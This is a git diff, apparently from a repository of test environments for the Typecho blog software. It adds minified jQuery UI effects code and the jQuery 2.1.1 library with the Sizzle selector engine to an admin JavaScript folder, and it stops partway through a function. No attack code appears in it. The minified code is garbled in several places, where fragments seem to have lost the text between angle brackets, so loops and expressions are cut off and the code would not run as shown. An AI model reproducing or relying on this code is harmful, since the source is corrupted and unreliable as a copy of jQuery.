arguments.length>1?a.effects.animateClass.call(this,{remove:j},i,l,k):h.apply(this,arguments)}})(a.fn.removeClass),toggleClass:(function(h){return function(k,j,i,m,l){if(typeof j==="boolean"||j===c){if(!i){return h.apply(this,arguments)}else{return a.effects.animateClass.call(this,(j?{add:k}:{remove:k}),i,m,l)}}else{return a.effects.animateClass.call(this,{toggle:k},j,i,m)}}})(a.fn.toggleClass),switchClass:function(h,j,i,l,k){return a.effects.animateClass.call(this,{add:j,remove:h},i,l,k)}})})();(function(){a.extend(a.effects,{version:"1.10.3",save:function(g,h){for(var f=0;f").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),f={width:g.width(),height:g.height()},j=document.activeElement;try{j.id}catch(i){j=document.body}g.wrap(k);if(g[0]===j||a.contains(g[0],j)){a(j).focus()}k=g.parent();if(g.css("position")==="static"){k.css({position:"relative"});g.css({position:"relative"})}else{a.extend(h,{position:g.css("position"),zIndex:g.css("z-index")});a.each(["top","left","bottom","right"],function(l,m){h[m]=g.css(m);if(isNaN(parseInt(h[m],10))){h[m]="auto"}});g.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})}g.css(f);return k.css(h).show()},removeWrapper:function(f){var g=document.activeElement;if(f.parent().is(".ui-effects-wrapper")){f.parent().replaceWith(f);if(f[0]===g||a.contains(f[0],g)){a(g).focus()}}return f},setTransition:function(g,i,f,h){h=h||{};a.each(i,function(k,j){var l=g.cssUnit(j);if(l[0]>0){h[j]=l[0]*f+l[1]}});return h}});function d(g,f,h,i){if(a.isPlainObject(g)){f=g;g=g.effect}g={effect:g};if(f==null){f={}}if(a.isFunction(f)){i=f;h=null;f={}}if(typeof f==="number"||a.fx.speeds[f]){i=h;h=f;f={}}if(a.isFunction(h)){i=h;h=null}if(f){a.extend(g,f)}h=h||f.duration;g.duration=a.fx.off?0:typeof h==="number"?h:h in a.fx.speeds?a.fx.speeds[h]:a.fx.speeds._default;g.complete=i||f.complete;return g}function e(f){if(!f||typeof f==="number"||a.fx.speeds[f]){return true}if(typeof f==="string"&&!a.effects.effect[f]){return true}if(a.isFunction(f)){return true}if(typeof f==="object"&&!f.effect){return true}return false}a.fn.extend({effect:function(){var h=d.apply(this,arguments),j=h.mode,f=h.queue,g=a.effects.effect[h.effect];if(a.fx.off||!g){if(j){return this[j](h.duration,h.complete)}else{return this.each(function(){if(h.complete){h.complete.call(this)}})}}function i(m){var n=a(this),l=h.complete,o=h.mode;function k(){if(a.isFunction(l)){l.call(n[0])}if(a.isFunction(m)){m()}}if(n.is(":hidden")?o==="hide":o==="show"){n[o]();k()}else{g.call(n[0],h,k)}}return f===false?this.each(i):this.queue(f||"fx",i)},show:(function(f){return function(h){if(e(h)){return f.apply(this,arguments)}else{var g=d.apply(this,arguments);g.mode="show";return this.effect.call(this,g)}}})(a.fn.show),hide:(function(f){return function(h){if(e(h)){return f.apply(this,arguments)}else{var g=d.apply(this,arguments);g.mode="hide";return this.effect.call(this,g)}}})(a.fn.hide),toggle:(function(f){return function(h){if(e(h)||typeof h==="boolean"){return f.apply(this,arguments)}else{var g=d.apply(this,arguments);g.mode="toggle";return this.effect.call(this,g)}}})(a.fn.toggle),cssUnit:function(f){var g=this.css(f),h=[];a.each(["em","px","%","pt"],function(j,k){if(g.indexOf(k)>0){h=[parseFloat(g),k]}});return h}})})();(function(){var d={};a.each(["Quad","Cubic","Quart","Quint","Expo"],function(f,e){d[e]=function(g){return Math.pow(g,f+2)}});a.extend(d,{Sine:function(e){return 1-Math.cos(e*Math.PI/2)},Circ:function(e){return 1-Math.sqrt(1-e*e)},Elastic:function(e){return e===0||e===1?e:-Math.pow(2,8*(e-1))*Math.sin(((e-1)*80-7.5)*Math.PI/15)},Back:function(e){return e*e*(3*e-2)},Bounce:function(g){var e,f=4;while(g<((e=Math.pow(2,--f))-1)/11){}return 1/Math.pow(4,3-f)-7.5625*Math.pow((e*3-2)/22-g,2)}});a.each(d,function(f,e){a.easing["easeIn"+f]=e;a.easing["easeOut"+f]=function(g){return 1-e(1-g)};a.easing["easeInOut"+f]=function(g){return g<0.5?e(g*2)/2:1-e(g*-2+2)/2}})})()})(jQuery);(function(a,b){a.effects.effect.highlight=function(h,c){var e=a(this),d=["backgroundImage","backgroundColor","opacity"],g=a.effects.setMode(e,h.mode||"show"),f={backgroundColor:e.css("backgroundColor")};if(g==="hide"){f.opacity=0}a.effects.save(e,d);e.show().css({backgroundImage:"none",backgroundColor:h.color||"#ffff99"}).animate(f,{queue:false,duration:h.duration,easing:h.easing,complete:function(){if(g==="hide"){e.hide()}a.effects.restore(e,d);c()}})}})(jQuery); \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/admin/js/jquery.js b/Typecho/1.0/php-fpm/src/admin/js/jquery.js new file mode 100755 index 000000000..80ff81289 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/js/jquery.js @@ -0,0 +1,25 @@ +/* + * jQuery JavaScript Library v2.1.1-rc2 + * http://jquery.com/ + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * + * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors + * Released under the MIT license + * http://jquery.org/license + * + * Date: 2014-04-21T20:27Z + */ +(function(b,a){if(typeof module==="object"&&typeof module.exports==="object"){module.exports=b.document?a(b,true):function(c){if(!c.document){throw new Error("jQuery requires a window with a document")}return a(c)}}else{a(b)}}(typeof window!=="undefined"?window:this,function(window,noGlobal){var arr=[];var slice=arr.slice;var concat=arr.concat;var push=arr.push;var indexOf=arr.indexOf;var class2type={};var toString=class2type.toString;var hasOwn=class2type.hasOwnProperty;var support={};var document=window.document,version="2.1.1-rc2",jQuery=function(selector,context){return new jQuery.fn.init(selector,context)},rtrim=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,rmsPrefix=/^-ms-/,rdashAlpha=/-([\da-z])/gi,fcamelCase=function(all,letter){return letter.toUpperCase()};jQuery.fn=jQuery.prototype={jquery:version,constructor:jQuery,selector:"",length:0,toArray:function(){return slice.call(this)},get:function(num){return num!=null?(num<0?this[num+this.length]:this[num]):slice.call(this)},pushStack:function(elems){var ret=jQuery.merge(this.constructor(),elems);ret.prevObject=this;ret.context=this.context;return ret},each:function(callback,args){return jQuery.each(this,callback,args)},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},slice:function(){return this.pushStack(slice.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(i){var len=this.length,j=+i+(i<0?len:0);return this.pushStack(j>=0&&j=0},isPlainObject:function(obj){if(jQuery.type(obj)!=="object"||obj.nodeType||jQuery.isWindow(obj)){return false}if(obj.constructor&&!hasOwn.call(obj.constructor.prototype,"isPrototypeOf")){return false}return true},isEmptyObject:function(obj){var name;for(name in obj){return false}return true},type:function(obj){if(obj==null){return obj+""}return typeof obj==="object"||typeof obj==="function"?class2type[toString.call(obj)]||"object":typeof obj},globalEval:function(code){var script,indirect=eval;code=jQuery.trim(code);if(code){if(code.indexOf("use strict")===1){script=document.createElement("script");script.text=code;document.head.appendChild(script).parentNode.removeChild(script)}else{indirect(code)}}},camelCase:function(string){return string.replace(rmsPrefix,"ms-").replace(rdashAlpha,fcamelCase)},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toLowerCase()===name.toLowerCase()},each:function(obj,callback,args){var value,i=0,length=obj.length,isArray=isArraylike(obj);if(args){if(isArray){for(;i0&&(length-1) in obj}var Sizzle= +/* + * Sizzle CSS Selector Engine v1.10.19 + * http://sizzlejs.com/ + * + * Copyright 2013 jQuery Foundation, Inc. and other contributors + * Released under the MIT license + * http://jquery.org/license + * + * Date: 2014-04-18 + */ +(function(window){var i,support,Expr,getText,isXML,tokenize,compile,select,outermostContext,sortInput,hasDuplicate,setDocument,document,docElem,documentIsHTML,rbuggyQSA,rbuggyMatches,matches,contains,expando="sizzle"+-(new Date()),preferredDoc=window.document,dirruns=0,done=0,classCache=createCache(),tokenCache=createCache(),compilerCache=createCache(),sortOrder=function(a,b){if(a===b){hasDuplicate=true}return 0},strundefined=typeof undefined,MAX_NEGATIVE=1<<31,hasOwn=({}).hasOwnProperty,arr=[],pop=arr.pop,push_native=arr.push,push=arr.push,slice=arr.slice,indexOf=arr.indexOf||function(elem){var i=0,len=this.length;for(;i+~]|"+whitespace+")"+whitespace+"*"),rattributeQuotes=new RegExp("="+whitespace+"*([^\\]'\"]*?)"+whitespace+"*\\]","g"),rpseudo=new RegExp(pseudos),ridentifier=new RegExp("^"+identifier+"$"),matchExpr={ID:new RegExp("^#("+characterEncoding+")"),CLASS:new RegExp("^\\.("+characterEncoding+")"),TAG:new RegExp("^("+characterEncoding.replace("w","w*")+")"),ATTR:new RegExp("^"+attributes),PSEUDO:new RegExp("^"+pseudos),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+whitespace+"*(even|odd|(([+-]|)(\\d*)n|)"+whitespace+"*(?:([+-]|)"+whitespace+"*(\\d+)|))"+whitespace+"*\\)|)","i"),bool:new RegExp("^(?:"+booleans+")$","i"),needsContext:new RegExp("^"+whitespace+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+whitespace+"*((?:-\\d)?\\d*)"+whitespace+"*\\)|)(?=[^-]|$)","i")},rinputs=/^(?:input|select|textarea|button)$/i,rheader=/^h\d$/i,rnative=/^[^{]+\{\s*\[native \w/,rquickExpr=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,rsibling=/[+~]/,rescape=/'|\\/g,runescape=new RegExp("\\\\([\\da-f]{1,6}"+whitespace+"?|("+whitespace+")|.)","ig"),funescape=function(_,escaped,escapedWhitespace){var high="0x"+escaped-65536;return high!==high||escapedWhitespace?escaped:high<0?String.fromCharCode(high+65536):String.fromCharCode(high>>10|55296,high&1023|56320)};try{push.apply((arr=slice.call(preferredDoc.childNodes)),preferredDoc.childNodes);arr[preferredDoc.childNodes.length].nodeType}catch(e){push={apply:arr.length?function(target,els){push_native.apply(target,slice.call(els))}:function(target,els){var j=target.length,i=0;while((target[j++]=els[i++])){}target.length=j-1}}}function Sizzle(selector,context,results,seed){var match,elem,m,nodeType,i,groups,old,nid,newContext,newSelector;if((context?context.ownerDocument||context:preferredDoc)!==document){setDocument(context)}context=context||document;results=results||[];if(!selector||typeof selector!=="string"){return results}if((nodeType=context.nodeType)!==1&&nodeType!==9){return[]}if(documentIsHTML&&!seed){if((match=rquickExpr.exec(selector))){if((m=match[1])){if(nodeType===9){elem=context.getElementById(m);if(elem&&elem.parentNode){if(elem.id===m){results.push(elem);return results}}else{return results}}else{if(context.ownerDocument&&(elem=context.ownerDocument.getElementById(m))&&contains(context,elem)&&elem.id===m){results.push(elem);return results}}}else{if(match[2]){push.apply(results,context.getElementsByTagName(selector));return results}else{if((m=match[3])&&support.getElementsByClassName&&context.getElementsByClassName){push.apply(results,context.getElementsByClassName(m));return results}}}}if(support.qsa&&(!rbuggyQSA||!rbuggyQSA.test(selector))){nid=old=expando;newContext=context;newSelector=nodeType===9&&selector;if(nodeType===1&&context.nodeName.toLowerCase()!=="object"){groups=tokenize(selector);if((old=context.getAttribute("id"))){nid=old.replace(rescape,"\\$&")}else{context.setAttribute("id",nid)}nid="[id='"+nid+"'] ";i=groups.length;while(i--){groups[i]=nid+toSelector(groups[i])}newContext=rsibling.test(selector)&&testContext(context.parentNode)||context;newSelector=groups.join(",")}if(newSelector){try{push.apply(results,newContext.querySelectorAll(newSelector));return results}catch(qsaError){}finally{if(!old){context.removeAttribute("id")}}}}}return select(selector.replace(rtrim,"$1"),context,results,seed)}function createCache(){var keys=[];function cache(key,value){if(keys.push(key+" ")>Expr.cacheLength){delete cache[keys.shift()]}return(cache[key+" "]=value)}return cache}function markFunction(fn){fn[expando]=true;return fn}function assert(fn){var div=document.createElement("div");try{return !!fn(div)}catch(e){return false}finally{if(div.parentNode){div.parentNode.removeChild(div)}div=null}}function addHandle(attrs,handler){var arr=attrs.split("|"),i=attrs.length;while(i--){Expr.attrHandle[arr[i]]=handler}}function siblingCheck(a,b){var cur=b&&a,diff=cur&&a.nodeType===1&&b.nodeType===1&&(~b.sourceIndex||MAX_NEGATIVE)-(~a.sourceIndex||MAX_NEGATIVE);if(diff){return diff}if(cur){while((cur=cur.nextSibling)){if(cur===b){return -1}}}return a?1:-1}function createInputPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type===type}}function createButtonPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return(name==="input"||name==="button")&&elem.type===type}}function createPositionalPseudo(fn){return markFunction(function(argument){argument=+argument;return markFunction(function(seed,matches){var j,matchIndexes=fn([],seed.length,argument),i=matchIndexes.length;while(i--){if(seed[(j=matchIndexes[i])]){seed[j]=!(matches[j]=seed[j])}}})})}function testContext(context){return context&&typeof context.getElementsByTagName!==strundefined&&context}support=Sizzle.support={};isXML=Sizzle.isXML=function(elem){var documentElement=elem&&(elem.ownerDocument||elem).documentElement;return documentElement?documentElement.nodeName!=="HTML":false};setDocument=Sizzle.setDocument=function(node){var hasCompare,doc=node?node.ownerDocument||node:preferredDoc,parent=doc.defaultView;if(doc===document||doc.nodeType!==9||!doc.documentElement){return document}document=doc;docElem=doc.documentElement;documentIsHTML=!isXML(doc);if(parent&&parent!==parent.top){if(parent.addEventListener){parent.addEventListener("unload",function(){setDocument()},false)}else{if(parent.attachEvent){parent.attachEvent("onunload",function(){setDocument()})}}}support.attributes=assert(function(div){div.className="i";return !div.getAttribute("className")});support.getElementsByTagName=assert(function(div){div.appendChild(doc.createComment(""));return !div.getElementsByTagName("*").length});support.getElementsByClassName=rnative.test(doc.getElementsByClassName)&&assert(function(div){div.innerHTML="

";div.firstChild.className="i";return div.getElementsByClassName("i").length===2});support.getById=assert(function(div){docElem.appendChild(div).id=expando;return !doc.getElementsByName||!doc.getElementsByName(expando).length});if(support.getById){Expr.find.ID=function(id,context){if(typeof context.getElementById!==strundefined&&documentIsHTML){var m=context.getElementById(id);return m&&m.parentNode?[m]:[]}};Expr.filter.ID=function(id){var attrId=id.replace(runescape,funescape);return function(elem){return elem.getAttribute("id")===attrId}}}else{delete Expr.find.ID;Expr.filter.ID=function(id){var attrId=id.replace(runescape,funescape);return function(elem){var node=typeof elem.getAttributeNode!==strundefined&&elem.getAttributeNode("id");return node&&node.value===attrId}}}Expr.find.TAG=support.getElementsByTagName?function(tag,context){if(typeof context.getElementsByTagName!==strundefined){return context.getElementsByTagName(tag)}}:function(tag,context){var elem,tmp=[],i=0,results=context.getElementsByTagName(tag);if(tag==="*"){while((elem=results[i++])){if(elem.nodeType===1){tmp.push(elem)}}return tmp}return results};Expr.find.CLASS=support.getElementsByClassName&&function(className,context){if(typeof context.getElementsByClassName!==strundefined&&documentIsHTML){return context.getElementsByClassName(className)}};rbuggyMatches=[];rbuggyQSA=[];if((support.qsa=rnative.test(doc.querySelectorAll))){assert(function(div){div.innerHTML="";if(div.querySelectorAll("[msallowclip^='']").length){rbuggyQSA.push("[*^$]="+whitespace+"*(?:''|\"\")")}if(!div.querySelectorAll("[selected]").length){rbuggyQSA.push("\\["+whitespace+"*(?:value|"+booleans+")")}if(!div.querySelectorAll(":checked").length){rbuggyQSA.push(":checked")}});assert(function(div){var input=doc.createElement("input");input.setAttribute("type","hidden");div.appendChild(input).setAttribute("name","D");if(div.querySelectorAll("[name=d]").length){rbuggyQSA.push("name"+whitespace+"*[*^$|!~]?=")}if(!div.querySelectorAll(":enabled").length){rbuggyQSA.push(":enabled",":disabled")}div.querySelectorAll("*,:x");rbuggyQSA.push(",.*:")})}if((support.matchesSelector=rnative.test((matches=docElem.matches||docElem.webkitMatchesSelector||docElem.mozMatchesSelector||docElem.oMatchesSelector||docElem.msMatchesSelector)))){assert(function(div){support.disconnectedMatch=matches.call(div,"div");matches.call(div,"[s!='']:x");rbuggyMatches.push("!=",pseudos)})}rbuggyQSA=rbuggyQSA.length&&new RegExp(rbuggyQSA.join("|"));rbuggyMatches=rbuggyMatches.length&&new RegExp(rbuggyMatches.join("|"));hasCompare=rnative.test(docElem.compareDocumentPosition);contains=hasCompare||rnative.test(docElem.contains)?function(a,b){var adown=a.nodeType===9?a.documentElement:a,bup=b&&b.parentNode;return a===bup||!!(bup&&bup.nodeType===1&&(adown.contains?adown.contains(bup):a.compareDocumentPosition&&a.compareDocumentPosition(bup)&16))}:function(a,b){if(b){while((b=b.parentNode)){if(b===a){return true}}}return false};sortOrder=hasCompare?function(a,b){if(a===b){hasDuplicate=true;return 0}var compare=!a.compareDocumentPosition-!b.compareDocumentPosition;if(compare){return compare}compare=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1;if(compare&1||(!support.sortDetached&&b.compareDocumentPosition(a)===compare)){if(a===doc||a.ownerDocument===preferredDoc&&contains(preferredDoc,a)){return -1}if(b===doc||b.ownerDocument===preferredDoc&&contains(preferredDoc,b)){return 1}return sortInput?(indexOf.call(sortInput,a)-indexOf.call(sortInput,b)):0}return compare&4?-1:1}:function(a,b){if(a===b){hasDuplicate=true;return 0}var cur,i=0,aup=a.parentNode,bup=b.parentNode,ap=[a],bp=[b];if(!aup||!bup){return a===doc?-1:b===doc?1:aup?-1:bup?1:sortInput?(indexOf.call(sortInput,a)-indexOf.call(sortInput,b)):0}else{if(aup===bup){return siblingCheck(a,b)}}cur=a;while((cur=cur.parentNode)){ap.unshift(cur)}cur=b;while((cur=cur.parentNode)){bp.unshift(cur)}while(ap[i]===bp[i]){i++}return i?siblingCheck(ap[i],bp[i]):ap[i]===preferredDoc?-1:bp[i]===preferredDoc?1:0};return doc};Sizzle.matches=function(expr,elements){return Sizzle(expr,null,null,elements)};Sizzle.matchesSelector=function(elem,expr){if((elem.ownerDocument||elem)!==document){setDocument(elem)}expr=expr.replace(rattributeQuotes,"='$1']");if(support.matchesSelector&&documentIsHTML&&(!rbuggyMatches||!rbuggyMatches.test(expr))&&(!rbuggyQSA||!rbuggyQSA.test(expr))){try{var ret=matches.call(elem,expr);if(ret||support.disconnectedMatch||elem.document&&elem.document.nodeType!==11){return ret}}catch(e){}}return Sizzle(expr,document,null,[elem]).length>0};Sizzle.contains=function(context,elem){if((context.ownerDocument||context)!==document){setDocument(context)}return contains(context,elem)};Sizzle.attr=function(elem,name){if((elem.ownerDocument||elem)!==document){setDocument(elem)}var fn=Expr.attrHandle[name.toLowerCase()],val=fn&&hasOwn.call(Expr.attrHandle,name.toLowerCase())?fn(elem,name,!documentIsHTML):undefined;return val!==undefined?val:support.attributes||!documentIsHTML?elem.getAttribute(name):(val=elem.getAttributeNode(name))&&val.specified?val.value:null};Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg)};Sizzle.uniqueSort=function(results){var elem,duplicates=[],j=0,i=0;hasDuplicate=!support.detectDuplicates;sortInput=!support.sortStable&&results.slice(0);results.sort(sortOrder);if(hasDuplicate){while((elem=results[i++])){if(elem===results[i]){j=duplicates.push(i)}}while(j--){results.splice(duplicates[j],1)}}sortInput=null;return results};getText=Sizzle.getText=function(elem){var node,ret="",i=0,nodeType=elem.nodeType;if(!nodeType){while((node=elem[i++])){ret+=getText(node)}}else{if(nodeType===1||nodeType===9||nodeType===11){if(typeof elem.textContent==="string"){return elem.textContent}else{for(elem=elem.firstChild;elem;elem=elem.nextSibling){ret+=getText(elem)}}}else{if(nodeType===3||nodeType===4){return elem.nodeValue}}}return ret};Expr=Sizzle.selectors={cacheLength:50,createPseudo:markFunction,match:matchExpr,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:true}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:true},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(match){match[1]=match[1].replace(runescape,funescape);match[3]=(match[3]||match[4]||match[5]||"").replace(runescape,funescape);if(match[2]==="~="){match[3]=" "+match[3]+" "}return match.slice(0,4)},CHILD:function(match){match[1]=match[1].toLowerCase();if(match[1].slice(0,3)==="nth"){if(!match[3]){Sizzle.error(match[0])}match[4]=+(match[4]?match[5]+(match[6]||1):2*(match[3]==="even"||match[3]==="odd"));match[5]=+((match[7]+match[8])||match[3]==="odd")}else{if(match[3]){Sizzle.error(match[0])}}return match},PSEUDO:function(match){var excess,unquoted=!match[6]&&match[2];if(matchExpr.CHILD.test(match[0])){return null}if(match[3]){match[2]=match[4]||match[5]||""}else{if(unquoted&&rpseudo.test(unquoted)&&(excess=tokenize(unquoted,true))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].slice(0,excess);match[2]=unquoted.slice(0,excess)}}return match.slice(0,3)}},filter:{TAG:function(nodeNameSelector){var nodeName=nodeNameSelector.replace(runescape,funescape).toLowerCase();return nodeNameSelector==="*"?function(){return true}:function(elem){return elem.nodeName&&elem.nodeName.toLowerCase()===nodeName}},CLASS:function(className){var pattern=classCache[className+" "];return pattern||(pattern=new RegExp("(^|"+whitespace+")"+className+"("+whitespace+"|$)"))&&classCache(className,function(elem){return pattern.test(typeof elem.className==="string"&&elem.className||typeof elem.getAttribute!==strundefined&&elem.getAttribute("class")||"")})},ATTR:function(name,operator,check){return function(elem){var result=Sizzle.attr(elem,name);if(result==null){return operator==="!="}if(!operator){return true}result+="";return operator==="="?result===check:operator==="!="?result!==check:operator==="^="?check&&result.indexOf(check)===0:operator==="*="?check&&result.indexOf(check)>-1:operator==="$="?check&&result.slice(-check.length)===check:operator==="~="?(" "+result+" ").indexOf(check)>-1:operator==="|="?result===check||result.slice(0,check.length+1)===check+"-":false}},CHILD:function(type,what,argument,first,last){var simple=type.slice(0,3)!=="nth",forward=type.slice(-4)!=="last",ofType=what==="of-type";return first===1&&last===0?function(elem){return !!elem.parentNode}:function(elem,context,xml){var cache,outerCache,node,diff,nodeIndex,start,dir=simple!==forward?"nextSibling":"previousSibling",parent=elem.parentNode,name=ofType&&elem.nodeName.toLowerCase(),useCache=!xml&&!ofType;if(parent){if(simple){while(dir){node=elem;while((node=node[dir])){if(ofType?node.nodeName.toLowerCase()===name:node.nodeType===1){return false}}start=dir=type==="only"&&!start&&"nextSibling"}return true}start=[forward?parent.firstChild:parent.lastChild];if(forward&&useCache){outerCache=parent[expando]||(parent[expando]={});cache=outerCache[type]||[];nodeIndex=cache[0]===dirruns&&cache[1];diff=cache[0]===dirruns&&cache[2];node=nodeIndex&&parent.childNodes[nodeIndex];while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if(node.nodeType===1&&++diff&&node===elem){outerCache[type]=[dirruns,nodeIndex,diff];break}}}else{if(useCache&&(cache=(elem[expando]||(elem[expando]={}))[type])&&cache[0]===dirruns){diff=cache[1]}else{while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if((ofType?node.nodeName.toLowerCase()===name:node.nodeType===1)&&++diff){if(useCache){(node[expando]||(node[expando]={}))[type]=[dirruns,diff]}if(node===elem){break}}}}}diff-=last;return diff===first||(diff%first===0&&diff/first>=0)}}},PSEUDO:function(pseudo,argument){var args,fn=Expr.pseudos[pseudo]||Expr.setFilters[pseudo.toLowerCase()]||Sizzle.error("unsupported pseudo: "+pseudo);if(fn[expando]){return fn(argument)}if(fn.length>1){args=[pseudo,pseudo,"",argument];return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase())?markFunction(function(seed,matches){var idx,matched=fn(seed,argument),i=matched.length;while(i--){idx=indexOf.call(seed,matched[i]);seed[idx]=!(matches[idx]=matched[i])}}):function(elem){return fn(elem,0,args)}}return fn}},pseudos:{not:markFunction(function(selector){var input=[],results=[],matcher=compile(selector.replace(rtrim,"$1"));return matcher[expando]?markFunction(function(seed,matches,context,xml){var elem,unmatched=matcher(seed,null,xml,[]),i=seed.length;while(i--){if((elem=unmatched[i])){seed[i]=!(matches[i]=elem)}}}):function(elem,context,xml){input[0]=elem;matcher(input,null,xml,results);return !results.pop()}}),has:markFunction(function(selector){return function(elem){return Sizzle(selector,elem).length>0}}),contains:markFunction(function(text){return function(elem){return(elem.textContent||elem.innerText||getText(elem)).indexOf(text)>-1}}),lang:markFunction(function(lang){if(!ridentifier.test(lang||"")){Sizzle.error("unsupported lang: "+lang)}lang=lang.replace(runescape,funescape).toLowerCase();return function(elem){var elemLang;do{if((elemLang=documentIsHTML?elem.lang:elem.getAttribute("xml:lang")||elem.getAttribute("lang"))){elemLang=elemLang.toLowerCase();return elemLang===lang||elemLang.indexOf(lang+"-")===0}}while((elem=elem.parentNode)&&elem.nodeType===1);return false}}),target:function(elem){var hash=window.location&&window.location.hash;return hash&&hash.slice(1)===elem.id},root:function(elem){return elem===docElem},focus:function(elem){return elem===document.activeElement&&(!document.hasFocus||document.hasFocus())&&!!(elem.type||elem.href||~elem.tabIndex)},enabled:function(elem){return elem.disabled===false},disabled:function(elem){return elem.disabled===true},checked:function(elem){var nodeName=elem.nodeName.toLowerCase();return(nodeName==="input"&&!!elem.checked)||(nodeName==="option"&&!!elem.selected)},selected:function(elem){if(elem.parentNode){elem.parentNode.selectedIndex}return elem.selected===true},empty:function(elem){for(elem=elem.firstChild;elem;elem=elem.nextSibling){if(elem.nodeType<6){return false}}return true},parent:function(elem){return !Expr.pseudos.empty(elem)},header:function(elem){return rheader.test(elem.nodeName)},input:function(elem){return rinputs.test(elem.nodeName)},button:function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type==="button"||name==="button"},text:function(elem){var attr;return elem.nodeName.toLowerCase()==="input"&&elem.type==="text"&&((attr=elem.getAttribute("type"))==null||attr.toLowerCase()==="text")},first:createPositionalPseudo(function(){return[0]}),last:createPositionalPseudo(function(matchIndexes,length){return[length-1]}),eq:createPositionalPseudo(function(matchIndexes,length,argument){return[argument<0?argument+length:argument]}),even:createPositionalPseudo(function(matchIndexes,length){var i=0;for(;i=0;){matchIndexes.push(i)}return matchIndexes}),gt:createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;++i1?function(elem,context,xml){var i=matchers.length;while(i--){if(!matchers[i](elem,context,xml)){return false}}return true}:matchers[0]}function multipleContexts(selector,contexts,results){var i=0,len=contexts.length;for(;i-1){seed[temp]=!(results[temp]=elem)}}}}else{matcherOut=condense(matcherOut===results?matcherOut.splice(preexisting,matcherOut.length):matcherOut);if(postFinder){postFinder(null,results,matcherOut,xml)}else{push.apply(results,matcherOut)}}})}function matcherFromTokens(tokens){var checkContext,matcher,j,len=tokens.length,leadingRelative=Expr.relative[tokens[0].type],implicitRelative=leadingRelative||Expr.relative[" "],i=leadingRelative?1:0,matchContext=addCombinator(function(elem){return elem===checkContext},implicitRelative,true),matchAnyContext=addCombinator(function(elem){return indexOf.call(checkContext,elem)>-1},implicitRelative,true),matchers=[function(elem,context,xml){return(!leadingRelative&&(xml||context!==outermostContext))||((checkContext=context).nodeType?matchContext(elem,context,xml):matchAnyContext(elem,context,xml))}];for(;i1&&elementMatcher(matchers),i>1&&toSelector(tokens.slice(0,i-1).concat({value:tokens[i-2].type===" "?"*":""})).replace(rtrim,"$1"),matcher,i0,byElement=elementMatchers.length>0,superMatcher=function(seed,context,xml,results,outermost){var elem,j,matcher,matchedCount=0,i="0",unmatched=seed&&[],setMatched=[],contextBackup=outermostContext,elems=seed||byElement&&Expr.find.TAG("*",outermost),dirrunsUnique=(dirruns+=contextBackup==null?1:Math.random()||0.1),len=elems.length;if(outermost){outermostContext=context!==document&&context}for(;i!==len&&(elem=elems[i])!=null;i++){if(byElement&&elem){j=0;while((matcher=elementMatchers[j++])){if(matcher(elem,context,xml)){results.push(elem);break}}if(outermost){dirruns=dirrunsUnique}}if(bySet){if((elem=!matcher&&elem)){matchedCount--}if(seed){unmatched.push(elem)}}}matchedCount+=i;if(bySet&&i!==matchedCount){j=0;while((matcher=setMatchers[j++])){matcher(unmatched,setMatched,context,xml)}if(seed){if(matchedCount>0){while(i--){if(!(unmatched[i]||setMatched[i])){setMatched[i]=pop.call(results)}}}setMatched=condense(setMatched)}push.apply(results,setMatched);if(outermost&&!seed&&setMatched.length>0&&(matchedCount+setMatchers.length)>1){Sizzle.uniqueSort(results)}}if(outermost){dirruns=dirrunsUnique;outermostContext=contextBackup}return unmatched};return bySet?markFunction(superMatcher):superMatcher}compile=Sizzle.compile=function(selector,match){var i,setMatchers=[],elementMatchers=[],cached=compilerCache[selector+" "];if(!cached){if(!match){match=tokenize(selector)}i=match.length;while(i--){cached=matcherFromTokens(match[i]);if(cached[expando]){setMatchers.push(cached)}else{elementMatchers.push(cached)}}cached=compilerCache(selector,matcherFromGroupMatchers(elementMatchers,setMatchers));cached.selector=selector}return cached};select=Sizzle.select=function(selector,context,results,seed){var i,tokens,token,type,find,compiled=typeof selector==="function"&&selector,match=!seed&&tokenize((selector=compiled.selector||selector));results=results||[];if(match.length===1){tokens=match[0]=match[0].slice(0);if(tokens.length>2&&(token=tokens[0]).type==="ID"&&support.getById&&context.nodeType===9&&documentIsHTML&&Expr.relative[tokens[1].type]){context=(Expr.find.ID(token.matches[0].replace(runescape,funescape),context)||[])[0];if(!context){return results}else{if(compiled){context=context.parentNode}}selector=selector.slice(tokens.shift().value.length)}i=matchExpr.needsContext.test(selector)?0:tokens.length;while(i--){token=tokens[i];if(Expr.relative[(type=token.type)]){break}if((find=Expr.find[type])){if((seed=find(token.matches[0].replace(runescape,funescape),rsibling.test(tokens[0].type)&&testContext(context.parentNode)||context))){tokens.splice(i,1);selector=seed.length&&toSelector(tokens);if(!selector){push.apply(results,seed);return results}break}}}}(compiled||compile(selector,match))(seed,context,!documentIsHTML,results,rsibling.test(selector)&&testContext(context.parentNode)||context);return 